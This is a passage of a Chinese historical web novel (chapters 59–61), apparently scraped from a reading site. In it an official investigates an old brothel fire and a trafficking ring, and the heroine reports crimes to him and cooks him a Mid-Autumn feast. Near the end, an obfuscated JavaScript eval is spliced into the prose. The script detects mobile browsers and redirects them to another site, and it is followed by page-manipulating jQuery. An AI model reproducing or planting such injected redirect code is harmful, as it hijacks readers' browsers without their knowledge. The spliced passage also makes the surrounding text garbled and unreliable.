长风接过卷宗递给裴宴。纸页泛黄,字迹潦草,显是匆忙抄录所致。 “十年前,京城崇文门外瓦子巷有家翠玉楼,是当时最红的勾栏。”秦海压低声音,字字清晰,“楼中有位头牌花魁,艺名水娘,年方十八,色艺双绝,尤擅琵琶。一曲《念娇奴》能引得满堂掷金如雨。” 裴宴目光落在“水娘”二字上,指尖无声地叩了叩纸面。 “那时翠玉楼里还有个伺候水娘的小丫鬟,叫玉儿,后来老鸨给她改了名,唤作玉娘。”秦海继续道,“按年纪算,当时玉娘不过十三四岁。” “说下去。” 秦海吸了口气,声音压得更低:“变故出在景和十年腊月二十三,小年夜。那晚,忠勤伯府嫡长子戴明书去了翠玉楼。” 听到忠勤伯府,裴宴眉头微蹙。戴家虽非顶级权贵,在京城却也有头有脸,更重要的是,戴明书有位胞姐在宫中为嫔,虽不得盛宠,却也无人敢轻易招惹。 “这戴明书,”秦海语气里带出嫌恶,“名号文气,相貌也算清秀,只是性情暴虐,尤好折磨女子。京中勾栏暗地里都怕他,但碍于伯府之势与宫里的娘娘,无人敢得罪。那晚他指名要水娘作陪,老鸨收了五百两银子,不敢不答应。” 烛火“噼啪”爆了个灯花,映得裴宴半张脸隐在暗处。 “水娘不愿,可娼籍之身,由不得自己。她被送进了戴明书的房间。”秦海顿了顿,“那一夜……翠玉楼起了大火。火从戴明书所在的二楼雅间听雨轩烧起,迅速蔓延。五城兵马司赶到时,大半个楼已化为灰烬。清点尸体时,在听雨轩废墟里发现两具紧缠的焦尸。一具身形与戴明书相符,怀中玉玦可证身份;另一具,从残存的衣物首饰看,应是水娘。” 裴宴抬眼:“确定是水娘?” “当时官府是这么定案的。”秦海道,“但蹊跷的是,清点人数时少了两人。一个是伺候水娘的丫鬟玉娘,活不见人,死不见尸。另一个是后院有些傻气的粗使丫鬟,叫随儿——据说那晚有人见她从角门出去,再没回来。一个傻丫鬟,也没人在意。” “一夜之间两人失踪,戴家能罢休?” “自然不肯。戴嫔在宫中哭诉,伯府施压,刑部、大理寺都查了。可火场混乱,尸体大多烧得面目全非。唯一线索是有逃出的龟公回忆,起火前曾听见戴明书房中传来女子惨叫,不久便见了明火。最终官府以妓女水娘不堪凌辱,与戴明书争执间打翻灯烛引发火灾结案。玉娘与随儿被列为疑犯,发了海捕文书,多年杳无音信。” 裴宴沉默片刻,问:“翠玉楼的老鸨和其他知情者呢?还有戴明书的小厮护卫呢?” “老鸨死在大火里。几个知情的姑娘后来散的散、死的死,如今难寻踪迹。戴明书的小厮也被烧死了,那夜跟着他的护卫共有四人,当时都在下面吃酒,烧死了三个,有一个听说当时没死,官差来的时候似乎还活着,只是那样的烧伤,没等大夫来就已经不行了,到最后也没救过来。”秦海道,“属下是通过当年刑部一位已致仕书吏的后人,才辗转拿到这份残缺案卷。那书吏临终前曾念叨,翠玉楼的案子不简单。只是时隔多年,如今能找到这些已属万幸。” 不简单?的确不简单。 裴宴目光重新落回卷宗。名动京城的花魁,两个卑微的丫鬟,一场离奇大火,一桩悬案。十年后,千里之外的江南小城,一个成了庵堂住持,一个成了官宦家眷。 “玉娘如何成了崔娘子?”他问。 随秦海同来的另一侍卫接口:“属下查了崔琰那干儿子崔旺。此人并非崔琰亲族,原是其远房姻亲遗孤,七八岁时被崔琰收养。崔旺成年后替崔琰打理些明暗生意,算是心腹。约六年前,他从外地带回一女子,称是所娶浑家,便是如今的崔娘子。对外说是小户良家女,深居简出。属下买通的崔家旧仆隐约记得,崔旺带她回府时,她虽荆钗布裙,举止间却有些风尘痕迹,而且……琵琶弹得极好。” 琵琶弹得极好。 水娘最擅琵琶。玉娘作为贴身丫鬟,耳濡目染,会弹也不稀奇。 裴宴闭眼,线索在脑中迅速拼接。 一场大火,“葬送”了名妓水娘,也令玉娘与傻丫鬟随儿失踪。十年后,水娘可能以水仙姑的身份藏身江南庵堂,勾结地方豪强贩卖人口;玉娘则摇身变为发运使崔琰干儿子的夫人,跟随崔旺从京城来到菰城,替崔琰打理私下产业。 和戴明书死在一处的,恐怕不是水娘,而是那个傻丫鬟随儿。 裴宴蓦地睁眼,眸光锐利——好一招偷梁换柱。水娘将随儿弄进戴明书房中,放火后扮作随儿从角门逃走。如今知情的,除玉娘外,怕只剩水仙姑自己。 不,或许不止。 崔旺也很可疑。 “玉娘进翠玉楼前的底细查过吗?籍贯、来历?”裴宴问。 秦海摇头:“属下只着重查了翠玉楼一案,其余尚未深挖。是属下疏忽。” “那就去查,从头细查,不得有半点疏漏。” “ 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众人一怔。赵先生旋即冷汗渗出:“大人怀疑……那晚是局?” “是否设局,尚难断言。”裴宴转身,目光如电,“但从那般大火与命案中逃脱的两人,十年后改头换面再度聚首,绝不为重温旧情。她们背后必有人,有更大的图谋。” 他略作停顿,接连下令: “秦海、张超,你二人继续追查翠玉楼旧案。务必弄清戴明书那晚是否有人引导,翠玉楼是否提前知悉风声。另,不惜代价寻访当年可能幸存的翠玉楼老人。” “长风,加派人手严密监视水月庵与柳枝巷崔家。水仙姑与崔娘子的一举一动,乃至飞鸽传书,皆需查明来龙去脉。” “先生,”裴宴看向窗外漆黑的江面,“修书京城,让我们的人细查崔旺。我要他所有生意往来、人脉牵连。” “是!”众人领命欲退。 “顾参军,”裴宴将案卷递给顾云,“这些证据你细细核验,再找人核实。” 顾云郑重接过。 裴宴看向一直静坐的王武,以及把玩着一柄镶宝西域弯刀的皇城司察子首领赵斌。刀是御赐,赵斌自幼与他一同长大,看似玩世不恭,却最是可靠。 “无伤,”裴宴对赵斌道,“有件事需你出面。” 赵斌“锵”一声收刀入鞘,敛了散漫神色,抬头示意。 “让你的人暗查菰城司户参军王兆仁,细之又细,确保无误。”裴宴指尖点了点案上地图,“今日是八月十三。过了中秋,九月二十之前,我要所有消息齐备。陛下给的期限是十月中旬,我们必须主动出击,九月底前须将一干人犯缉拿归案。” 在座诸人肃然起身:“是!” 书房重归寂静。裴宴坐回案前,目光再次掠过“水娘”与“玉娘”的名字。 长风此前已查到水仙姑与王大官人勾结,借庵堂贩运人口。若这些女子最终经崔琰掌控的漕运送往北地…… 一个令人脊背生寒的猜想逐渐成形。 或许从十年前翠玉楼那场大火起,就有一张网在暗中织就。水仙姑与崔娘子,不过是网上两枚重要的结。 那么,织网的人是谁? 目的何在? 60. 第60章 告状 裴宴回到房间时已是酉时三刻。 明月轻手轻脚地进来禀报:“郎主,孟知州在清风楼设了宴,说是请郎主务必赏光,几位乡绅也在。”他抬眼偷觑裴宴神色,又补了一句,“孟知州说,是为灾后重建筹措钱粮之事。” 裴宴正俯身看案上的地图,闻言头也未抬,只皱了皱眉:“回了他,就说我今日乏了,改日再议。” “是。”明月应声退下。 少顷,丫鬟端了饭菜进来。一盆炉焙鸡炖得酥烂,油亮金黄;一碟清炒菘菜翠绿欲滴;一条清蒸鲈鱼撒着姜丝葱段,鲜香扑鼻;另有一盘炸得酥脆的花生米,一壶温热的黄酒。裴宴这才觉出腹中空空,从清晨到此刻,他只在早间用了半碗白粥,午间匆匆扒了几口饭,便又埋首公务。 他唤来心腹幕僚赵先生和万先生,三人围坐小桌,默默地用了一餐简朴的晚饭。饭毕,裴宴挥挥手让他们各自歇息,明日还有要事。 烛火在案头跳跃,将他的影子拉得颀长。 就在这时,长风去而复返,悄无声息地进来,低声道:“郎主,柳枝巷那边……许娘子前日曾托属下带话,说若您得空,她有要事需与您禀报。” 裴宴执笔的手一顿,墨迹在纸上洇开一小团。他抬眼,眸色在烛光下显得有些深:“前日的事,为何今日才报?” 长风心头一紧,单膝跪地:“小的失职。这几日见您忙于事务,与孟知州他们议事,属下便……便自作主张,想待郎主空闲了再禀。” 书房内静了一瞬,只闻灯花轻微的爆裂声。 “下去领十军棍。”裴宴声音平淡,却不容置疑。 “是。”长风垂首欲退出去。 “回来。”裴宴却又叫住他,指尖无意识地敲了敲桌面,“她可曾说是什么事?约在何时何地?” “许娘子未详说,也未约定具体时辰地点。”长风小心回道,“郎主,要不属下现在就去柳枝巷问问?” 裴宴沉默片刻,忽然起身:“不必了。二十军棍,退下吧!” 长风一愣,随即垂头丧气的退了出去。 明月在门口站着,看到长风出来,面色有些怪异,小声道:“你也太不机敏了,许娘子和京城那些娘子不一样的,郎主对她也不一样的,我早叮嘱你,对许娘子要上心些,你偏不信,如今挨罚了吧!” “好你个明月,竟敢呲哒你风大爷,看我怎么收拾你。”两人小声嚷嚷着走远了。 裴宴在书房中踱了几步。窗外夜色浓稠,远处菰城的灯火零星点点,像困倦的眼。他想起那日仁心堂草棚外,许娇娇专注喂药的侧影;想起她递来粗布口罩时指尖的微凉;也想起沈谦望向她时,眼中那抹不容错辨的柔和。 心底某处,掠过一丝极细微的、连他自己都不愿深究的波动。 “来人,”他扬声唤道,“更衣,备马。” 柳枝巷深处,小院内。 许娇娇坐在老柳树下的石凳上,夏末的夜风已带了些许凉意,拂过她单薄的肩。旺财安静地卧在她脚边,喉咙里发出舒适的呼噜声。她有一搭没一搭地抚摸着旺财粗糙的皮毛,目光却时不时飘向紧闭的院门。 已是亥时初了。 她暗忖,长风应当把话带到了。可裴宴那般身份,赈灾、查案、应对官场,千头万绪,又怎会将她一个平头百姓的要事真正放在心上?或许,只是她病急乱投医,想当然耳。 心底升起一丝自嘲的涩意。她凭什么认为,如今那位冷面肃然的裴天使,会为她的事情深夜前来? 正思量间,堂屋里传来静心的声音,隔着窗纸,模模糊糊的:“娇杏,热水烧好了,快来洗漱安置。” “就来。”许娇娇应了一声,起身拍了拍裙摆上并不存在的灰尘。 洗漱毕,她回到自己那间狭小却整洁的屋子。油灯如豆,映着四壁空寂。她吹熄了灯,躺上床,睁着眼看黑暗里模糊的房梁轮廓。 睡意迟迟不来。 忽然,窗棂被极轻地叩响了。 “笃、笃笃。” 许娇娇浑身一僵,呼吸瞬间屏住。她无声地坐起,指尖已摸向枕下那包备好的药粉。 “是我。”窗外传来男子低沉的声音,在寂静的夜里显得格外清晰,“许娘子可安歇了?” 这声音…… 许娇娇怔住,心跳却莫名漏了一拍。她掀被下床,趿了鞋,轻手轻脚走到窗边,压低声音:“裴安抚?” “嗯。”窗外人应了一声,“长风传话,说你寻我。” 他竟真的来了。在这个时辰,亲自来了。 许娇娇心中涌起一股复杂的滋味,惊讶,庆幸,感激、还有一丝连她自己都不愿承认的、细微的悸动。她稳了稳心神,迅速理了理微乱的鬓发和衣裙,才轻声道:“安抚使稍候。” 她转身点亮油灯,昏黄的光晕立刻充盈了小屋。犹豫了一瞬,她还是将门闩拉开,拉开了房门。 裴宴站在廊下。 他换了一身深青色的常服,未着官袍,少了白日里的威严冷峻,却多了几分夜色浸润下的清冽。月光与廊檐下灯笼的光交织,在他轮廓分明的侧脸上投下浅浅阴影。他身量很高,站在低矮的屋檐下,需微微低头。 许娇娇侧身让开:“深夜劳烦安抚使亲至,实在惶恐。请进。” 裴宴迈步入内,目光极快地扫过这间陋室。一床一桌一柜,陈设简单到近乎寒酸,却收拾得纤尘不染。空气中弥漫着淡淡的、混合了药草与皂角的清苦气息,与她身上惯有的味道如出一辙。 “无妨。”他在桌旁唯一一张看起来结实些的椅子上坐下,“你说有要事?” 许娇娇掩上门,却没有立刻坐下。她走到桌边,提起小火炉上一直温着的粗陶壶,倒了一杯热水,推到裴宴面前。水汽氤氲,模糊了两人之间的视线。 “是。”她在他对面的床沿坐下,隔着一张小方桌,抬起眼,目光清亮而坚定,“我,小女要告发水月庵住持水仙姑,杀人、略人、勾结地方豪强、戕害良善。” 裴宴端起粗陶杯的手微微一顿,抬眼看她:“证据?” 许娇娇深吸一口气。这一刻终于来了。她赌上了自己在这世间几乎全部的信任。 “第一桩,谋杀水月庵前任住持了尘师父。”她声音平稳,却字字清晰,“就在八年前开春的一天,水仙姑给了尘端了一杯茶,了尘师父饮后便心悸发作而死。了尘师父生前身体康健,并无心悸。因了尘师父发现水仙姑与归平县王大官人勾结略卖人口的证据,苦心劝阻无果,并欲要报官。此事,静尘师姐,也就是了尘师父的嫡传弟子亲眼目睹。尸体被水仙姑与她的心腹静非,连夜埋在了水月庵后山的一棵老歪脖子枣树下。静尘师姐知晓具体位置,可随时指认。” 裴宴神色未变,眸色却深了几分:“静尘就是你那个比丘尼师姐?” “是的,只是如今她和静心已经还俗。”许娇娇道,“她们二人,皆是水仙姑恶行的见证者与受害者。静尘师姐可为证,静心亦曾亲眼见过水仙姑与王大官人密会,以及她藏匿的内造金簪与艳俗衣物。” “第二桩,”她继续道,语速稍快,“水仙姑借水月庵为幌,与归平县王大官人长期勾结,以‘招工’、‘学艺’为名,诱拐、掳掠贫苦人家女子,或外地流落至菰城的孤女。女子被集中关押在庵堂后院的地窖或密室中,经水路,通过王大官人控制的船队,运往北地。此事,静心曾因无意中窥见地窖中被囚女子,而遭水仙姑毒打囚禁,险些丧命。静尘与静心逃出水月庵时,亦曾亲眼所见。” 裴宴静静听着,指尖在粗陶杯壁上缓缓摩挲。这些信息,与他之前查到的线索隐隐吻合。但由她口中这般清晰道出,分量又自不同。 “第三桩,”许娇娇的声音低了下去,“水仙姑与王大官人,曾多次设计陷害于我,欲除之而后快。从最初在水月庵后山,到后来的妖女传言,再到如今……我怀疑,柳枝巷新搬来的那位崔娘子,与水仙姑乃旧识,甚至可能,也是冲着我来的。” 她抬起眼,直视裴宴。灯火在她清澈的眸子里跳跃,映出一种混合了脆弱与坚韧的奇异光芒。 “小女人微言轻,无依无靠。水仙姑有王大官人为爪牙,王大官人在本地颇有势力,其弟王兆仁更是菰城司户参军。民女状告无门。前几日亦是为了自保,才不得不找人帮我盯着崔家。”她顿了顿,声音里透出一丝不易察觉的轻颤,却又被她 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甚至,裴宴敏锐地察觉到,她此刻的姿态,那微微仰起的脸,轻颤的睫羽,无意中流露出的一丝脆弱,或许……并非全然无意。 她在试着利用他可能对她存有的那一点点好感。 这个认知,让裴宴心底掠过一丝极淡的、说不清道不明的情绪。像是被人用羽毛极轻地搔了一下,有点痒,有点恼,又有点……别的什么。 他并非不谙世事。官场沉浮,京城繁华,什么样的美人计谋他没见过?那些精心设计的邂逅,婉转含蓄的暗示,直白露骨的勾引……他向来嗤之以鼻,甚至厌烦。 可眼前这个女子不一样。她的利用带着一种近乎坦率的笨拙,她的算计底下,是真实的走投无路与恐惧。她像一只被逼到悬崖边的小兽,明明怕得发抖,却还是亮出了自己并不锋利的爪牙,试图抓住任何一根可能垂下的藤蔓。 而这种笨拙的、混合着真实恐惧与试探的“美人计”,竟奇异地……让他无法硬起心肠。 半晌,裴宴才开口,声音在寂静的夜里显得格外低沉:“你所言之事,关乎人命大案,本官自会查证。” 许娇娇的心提了起来。 “不过,”他话锋一转,目光如实质般落在她脸上,“你如何确定,本官就一定会管?又如何确信,本官管得了?” 许娇娇迎着他的目光,毫不闪避:“因为小女相信,裴安抚与那些官官相护之人不同。您临危受命,主持赈灾,亲力亲为,可见心系百姓。疫病之中,您调度有方,惩处懈怠官吏,可见不畏强权,公正严明。”她顿了顿,声音轻了些,却更清晰,“也因为……您曾派人暗中看护此院。这份善意,小女铭记于心。” 最后这句话,她说得轻而缓,目光微垂,长睫在眼下投下一小片阴影,恰好在脸颊上形成一抹欲说还休的柔婉。 裴宴的指尖在杯壁上停住了。 聪明,又大胆。 静默在两人之间蔓延,只有灯花偶尔爆开的细微声响。旺财在门外轻轻挠了下门板,呜咽了一声。 良久,裴宴放下早已凉透的水杯,站起身。 “此事本官已知晓。”他居高临下地看着她,恢复了平日那种疏淡冷静的口吻,“水月庵命案,贩卖人口,皆属刑案,本官会着人密查。在查明之前,你与静尘、静心,暂且安住于此,勿要轻举妄动,亦不必过于忧惧。” 他走到门边,又停下脚步,没有回头,只道:“柳枝巷内外,本官已加派了人手。寻常宵小,近不得此院。” 说完,他拉开门,玄色的衣角一闪,便融入了门外的夜色中。 夜风灌入,吹得桌上灯火猛地摇曳了几下。 许娇娇独自坐在床边,听着马蹄声由近及远,最终消失在巷子尽头。她缓缓松开紧握的双手,掌心已被指甲掐出了几道深深的红痕。 方才那一瞬间,她几乎用尽了全部的心力与勇气。她说了该说的,也试探了能试探的。甚至,刻意流露出些许柔弱之态——那是她从前最不屑为之的。 结果如何?她看不透裴宴那张总是没什么表情的脸。但他答应会查,还在柳枝巷安排了人手,这一点让许娇娇提了的许久的心放了下来,竟是前所未有的安心。 61. 第61章 柳枝巷的中秋宴 八月十五,中秋。 晨光尚未完全驱散夜露,柳枝巷深处的小院已弥漫开淡淡的甜香。静尘在井边淘洗新买的糯米,静心蹲在灶前小心地看火,旺财趴在厨房门口,鼻子一耸一耸,眼巴巴望着里头。 许娇娇系着粗布围裙,袖子挽到手肘,正站在案板前和面。阳光从窗外斜斜照进来,在她低垂的睫毛上跳跃。面是昨夜就发好的,已经醒得蓬松柔软。她将面团分成小剂,用掌心压平,舀一勺昨夜炒好的枣泥核桃馅料放进去,手指灵巧地收口、搓圆,再放进刻着花鸟纹的木模里轻轻一压。 “啪”一声轻响,月饼脱模而出。圆润的饼身上,清晰地印着一朵绽放的桂花,花瓣层叠,栩栩如生。 “真好看。”静心凑过来看,眼睛亮晶晶的,“娇杏,你从哪儿学来这么精巧的手艺?这模子花纹,比街上卖的还细。” 许娇娇笑了笑,没说话。这木模是她前些日子特意请巷口李木匠刻的,花样是她自己画的。前世的中秋,母亲总爱自己做月饼,枣泥的、豆沙的、五仁的……她跟在旁边打下手,日子久了也就会了。没想到穿越而来,这点手艺倒派上了用场。 枣泥是她用院子里那棵老枣树结的枣子,一颗颗去核,慢火熬成,加了少许糖和油,甜而不腻。核桃是刘寡妇送的,自家后院树上打的,烤香后捣碎,拌进枣泥里,添一分酥脆香气。 除了枣泥核桃的,她还准备了豆沙和五仁的。豆沙用赤小豆熬煮过筛,加了些许桂花糖;五仁则是花生、瓜子、芝麻、松子、杏仁,炒香后拌上麦芽糖和熟油,包进面皮里。 月饼坯子一个个做好,整齐码在竹屉上,刷一层薄薄的蛋黄液。静心已经将灶火调得恰到好处,许娇娇将竹屉放入锅中,盖上锅盖。 “要蒸多久?”静尘擦着手走过来。 “两刻钟。”许娇娇看了看天色,“等月饼好了,咱们就开始准备晚上的菜。” 她昨日就让长风带了口信给裴宴,邀他中秋夜若得空,就来小院用饭,以答谢他近日的看护之情。原本没抱太大希望,谁知午后长风便来回话,说大人应下了,酉时准到。 既然他肯来,她便想好好做一顿饭。不为别的,就为那份深夜前来听她陈情的信任,也为那些守在巷口暗处、让她得以安眠的身影。 月饼的甜香渐渐溢出锅沿,混着灶膛里松枝燃烧的清新气息,在小院里萦绕不散。 午后,许娇娇开始准备晚宴的菜肴。 食材是静尘一早去市集买的。洪水退后,市集恢复得很快,虽不如从前丰盛,但该有的也都有了。一只肥嫩的鹅,半扇羊头,活虾,时蔬,还有各种调料。 许娇娇先将鹅肝取出,用清水浸泡,换了几次水,直到血水尽去。然后取一小锅,倒入牛乳,将鹅肝放入,小火慢煮。这是去腥增嫩的秘诀,前世跟一位法餐厨师学的。煮好的鹅肝取出,用纱布包好,压上重物,使其定型。 接着处理羊头。羊头签是《东京梦华录》里记载的北宋名菜,她曾在复原古菜的节目里学过。羊头煮熟,拆下脸颊肉,切成细丝,用椒盐、姜末、少许茱萸粉和酱油拌匀。另取薄如蝉翼的面皮,将羊肉丝卷起,用蛋液封口,下油锅炸至金黄酥脆。 虾子鲜活,去壳留尾,从背部剖开,去除虾线。用少许盐、酒和姜汁腌制。锅里热油,虾仁滑炒至变色卷曲,迅速捞出。另起锅,用香油炒香捣碎的芥菜籽,加入少许糖、醋和酱油,调成芥末酱汁,淋在虾球上拌匀。这是她改良的芥末虾球,芥菜籽的辛香替代了前世用的芥末酱,别有一番风味。 凉拌三丝最简单,胡萝卜、青笋、豆腐皮切细丝,焯水后过凉,用盐、糖、醋、香油一拌,撒上炒香的芝麻,清爽开胃。 四道凉碟准备停当,摆在粗瓷盘里,竟也显得精致可爱。水晶鹅肝切成薄片,码成花朵状,莹润如玉;羊头签炸得金黄,整齐排列,香气扑鼻;芥末虾球碧绿衬着粉红,酸甜辛香;凉拌三丝色彩分明,脆嫩爽口。 静尘和静心在一旁看着,早已目瞪口呆。 “娇杏,这些……这些菜式,我见都没见过。”静尘喃喃道,“你是从哪里学来的?” 许娇娇手上不停,正在处理一条鲈鱼,闻言顿了顿,笑道:“从前在父亲留下的杂书里看的,自己瞎琢磨罢了。” 这借口她用惯了,倒也顺口。许大郎确实留下不少医书杂记,但她从小被赶出村子,房屋被侵占,她阿爹的东西都被人贪了,她一本也没拿到。但那又如何,谁又知道她没见过呢? 热菜她打算做几道淮扬菜。前世她是扬州人,对家乡菜最是拿手。清炖蟹粉狮子头、大煮干丝、文思豆腐、松鼠鳜鱼——虽然鳜鱼难得,用鲈鱼替代也凑合。 狮子头要用三分肥七分瘦的猪肋条肉,手工细切粗斩,保持颗粒感。蟹粉是奢侈物,洪水刚过,无处可寻,她便用咸蛋黄代替,捣碎后拌入肉馅,加葱姜水、盐、少许糖,顺着一个方向搅打上劲。团成拳头大的肉丸,放入砂锅,加清汤、火腿片、冬笋片,小火慢炖两个时辰,直至酥烂入味。 大煮干丝考验刀工。豆腐干片成薄片,再切成细如发丝的干丝,放入清鸡汤中煮,加入火腿丝、鸡丝、笋丝、虾仁,汤汁醇厚,干丝吸饱鲜味,柔软鲜美。 文思豆腐更是极致刀工。一块嫩豆腐,先片后切,成丝后放入清水中,根根清晰,不碎不断。用清鸡汤煨煮,勾薄芡,撒火腿末、青菜丝,豆腐丝如云絮般在汤中飘荡,清雅至极。 松鼠鱼要改花刀。鲈鱼去骨,鱼肉切十字花刀,深度至皮,用葱姜水、盐、酒略腌,拍上干淀粉。下油锅炸至定型,鱼肉翻卷如松鼠尾巴。另起锅调糖醋汁,番茄酱无处可寻,她用山楂熬汁代替,加糖、醋、盐,勾芡后淋在鱼上,吱吱作响,酸甜适口。 等到夕阳西斜,小院里已飘满了复杂而诱人的香气。旺财急得团团转,被静心塞了块骨头才安分些。 许娇娇洗净手,换了身干净的月白色细葛布衣裙,头发重新绾过,插上那支素银簪子。脸上脂粉未施,却因忙碌了一日,双颊泛着自然的红晕,眼眸清亮如洗。 酉时初,巷口传来马蹄声。 裴宴果然准时。他今日未着官服,穿了一身雨过天青色的直裰,外罩同色暗纹氅衣,头发用玉冠束起,比平日少了几分威严,多了些许清俊的书卷气。长风和明月跟在他身后,两人手里还提着东西——一坛酒,一盒点心。 许娇娇迎到院门口,敛衽行礼:“裴大人。” 裴宴目光在她脸上停留了一瞬,颔首道:“叨扰了。” “大人肯来,是民女的荣幸。”许娇娇侧身让开,“请进。” 小院已被收拾得整洁温馨。老柳树下摆了两张方桌,一张略大些,铺着干净的蓝布;另一张小些,放在稍远处。桌上碗筷已摆好,粗瓷碗碟洗得发亮,在暮色中泛着温润的光。 裴宴的目光扫过院子,落在厨房门口那张小桌上——那里整齐摆放着四碟凉菜,造型精致,香气隐隐飘来。他眼中闪过一丝讶异。 许娇娇引他到主桌坐下,长风忙将酒和点心放在桌上。是一坛上好的绍兴花雕,点心盒子打开,是稻香斋的八件细点,枣泥酥、荷花酥、佛手酥……样样精巧。 “大人太客气了。”许娇娇道,“本该民女答谢大人,反倒让大人破费。” “一点心意。”裴宴淡淡道,目光却仍不由自主地飘向那几碟凉菜。 许娇娇会意,笑道:“民女胡乱做了几个小菜,还请大人莫要嫌弃。”她转身对静尘道,“师姐,可以上菜了。” 静尘和静心应声,将四碟凉菜端上主桌,又在旁边小桌上摆了一份。许娇娇亲自斟了两杯酒,一杯放在裴宴面前,一杯留给自己。 “长风大哥,明月大哥,你们也请坐。”她看向站在裴宴身后的两人。 长风和明月吓了一跳,连连摆手:“不敢不敢,小的们站着就好。” 裴宴看了他们一眼:“许娘子既说了,你们便坐吧。” 两人这才诚惶诚恐地在旁边小桌坐下,却只敢挨着半边凳子,腰板挺得笔直。静尘和静心更是不敢坐,静尘低声道:“娇杏,我们在厨房吃就好……” 许娇娇知道她们拘谨,也不勉强,温声道:“那师姐你们自便,需要什么自己取。” 月色渐渐明亮起来,如一匹银纱轻轻笼罩着小院。柳树的影子投在地上,随风微微晃动。 裴宴的目光落在面前的四碟凉菜上。水晶鹅肝莹白细腻,入口即化,带着牛乳的醇香和鹅肝特有的丰腴,毫无腥气;羊头签外酥里嫩,羊肉的鲜美被椒盐和茱萸激发得淋漓尽致,面皮薄脆,层次分明;芥末虾球酸甜中带着芥菜籽独特的辛香,虾肉弹牙,口感丰富;凉拌三丝清爽脆嫩,芝麻香气画龙点睛。 他每一道都尝了,放下筷子时,眼中讶色更浓。 “这些菜式,”他缓缓开口,声音在月色中显得清泠,“不似江南本地风味。” 许娇娇心头一跳,面上却依旧平静:“大人好眼力。有些是民女从杂书上看的古法,有些是自己瞎琢磨的。味道可还过得去?” “岂止过得去。”裴宴看着她,目光深邃,“许娘子好手艺。” 许娇娇垂下眼睫,为他布菜:“大人喜欢便好。”她转身又朝厨房道,“师姐,上热菜吧。” 清炖蟹粉狮子头用砂锅端上,盖子一掀,热气蒸腾,香气四溢。肉丸酥烂,用筷子轻轻一拨便散开,咸蛋黄的沙感混着猪肉的鲜嫩,汤汁清澈却滋味醇厚。 大煮干丝汤色乳白,干丝细如棉线,吸饱了火腿、鸡汤的精华,入口柔滑,鲜得眉毛都要掉下来。 文思豆腐更让裴宴瞳孔微缩。豆腐丝在清汤中如云雾缭绕,根根分明,舀一勺入口,嫩滑无比,几乎不用咀嚼便化在舌尖,只留满口豆香与鲜甜。 松鼠鲈鱼最后上桌,糖醋汁淋上时“滋啦”作响,鱼肉翻卷如花,色泽红亮。夹一块入口,外酥里嫩,酸甜汁恰到好处,山楂的微酸更添风味。 裴宴吃得不多,但每道菜都仔细尝过。他吃得慢,举止优雅,即便在这简陋的小院里,也自带一种与生俱来的矜贵气度。 许娇娇陪在一旁,偶尔为他斟酒,自己却喝得少。花雕温过,酒香醇厚,入口绵长。几杯下肚,她脸上渐渐泛起桃花般的红晕,眼神也氤氲了些许水光。 月色越发皎洁,洒在她侧脸上,肌肤莹润如玉。她微微侧头听着隔壁小桌低声说笑的声音,唇角不自觉扬起,那笑意清浅温柔,与平日沉静的模样又有些不同。 裴宴握着酒杯,目光在她脸上停留了片刻。 自相识以来,他见过她许多模样——元宵夜莽撞揪他衣襟的惊慌,医药会上从容应对的沉稳,疫病中不眠不休的坚毅,昨夜陈述案情时的孤注一掷。却从未见过她如此刻这般,放松的,柔软的,甚至带着点娇憨的模样。 像是终于卸下了所有防备,允许自己稍微喘一口气。 “许娘子,”他忽然开口,声音比平日柔和些许,“今日这宴,费心了。” 许娇娇转回头,眼眸在月光下亮晶晶的:“大人不嫌简陋便好。”她举起酒杯,微微倾身,“这一杯,谢大人近日看护之情。民女……感激不尽。” 她说得诚恳,眼中映着月色,也映着他的影子。 裴宴与她碰杯,瓷杯相击,发出清脆的声响。两人同时饮尽杯中酒,许娇娇被酒气呛了一下,轻轻咳嗽,眼角泛出一点泪光,忙用袖子掩住。 那模样,竟有几分可爱。 裴宴移开目光,望向天上那轮满月。月光清冷,但小院里灯火温暖,饭菜香气,人语低低,竟让他生出一种久违的、属于人间的安稳感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314391|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“许娘子身怀绝技,”他重新看向她,语气似是随意,“医术精湛,如今看来,厨艺也颇为不凡。不知师从何人?” 来了。许娇娇心中暗叹。她就知道,这些超越时代的技艺,终究会引起怀疑。 她放下酒杯,手指无意识地摩挲着粗糙的杯壁,斟酌着字句:“父亲生前好读书,家中有些杂学古籍。民女幼时虽不能言,却喜翻看那些书,记性尚可,许多东西看一遍便记住了。后来……”她顿了顿,“后来一场大病,侥幸活下来,那些记忆反而越发清晰。有些菜式,是书中记载的古法;有些,是自己琢磨着试出来的。” 她抬眼看他,眼神清澈坦然:“让大人见笑了。民女只是喜欢琢磨这些,觉得……做菜如行医,都要用心,都要懂得调和之道。” 这话说得巧妙,将厨艺与医术类比,既解释了技艺来源,又暗合她医女的身份。 裴宴静静听着,未置可否。他自然不信这番说辞。那些菜式的精致程度,刀工的讲究,调味的巧妙,绝非一个山村孤女靠翻几本杂书便能琢磨出来的。尤其是那文思豆腐的刀工,便是京城顶级酒楼的大厨,也未必能有如此功力。 她身上有太多谜团。聋哑七年突然痊愈,无师自通的医术,如今还有这手精湛厨艺。每一件,都超出了常理。 可看着她月光下清澈的眼眸,他又不愿以最大的恶意去揣测。或许真如她所说,是天赋异禀,是机缘巧合? “调和之道,”他重复着这四个字,唇角微扬,“许娘子说得有理。” 许娇娇见他不再追问,暗暗松了口气,又为他斟满酒:“今夜中秋,大人不必想那些烦心公务,且放松片刻。” 裴宴接过酒杯,指尖不经意触到她的。她的手很凉,带着井水的清冽,而他的手指温热。一触即分,两人却都怔了怔。 许娇娇迅速收回手,低下头去夹菜。裴宴也垂下眼睑,将杯中酒一饮而尽。 隔壁小桌传来长风低声劝明月少喝些的声音,静心在轻声说月饼快好了,静尘温言应着。这些细碎的人间声响,衬得主桌这一方天地越发安静。 “许娘子今后有何打算?”裴宴忽然问。 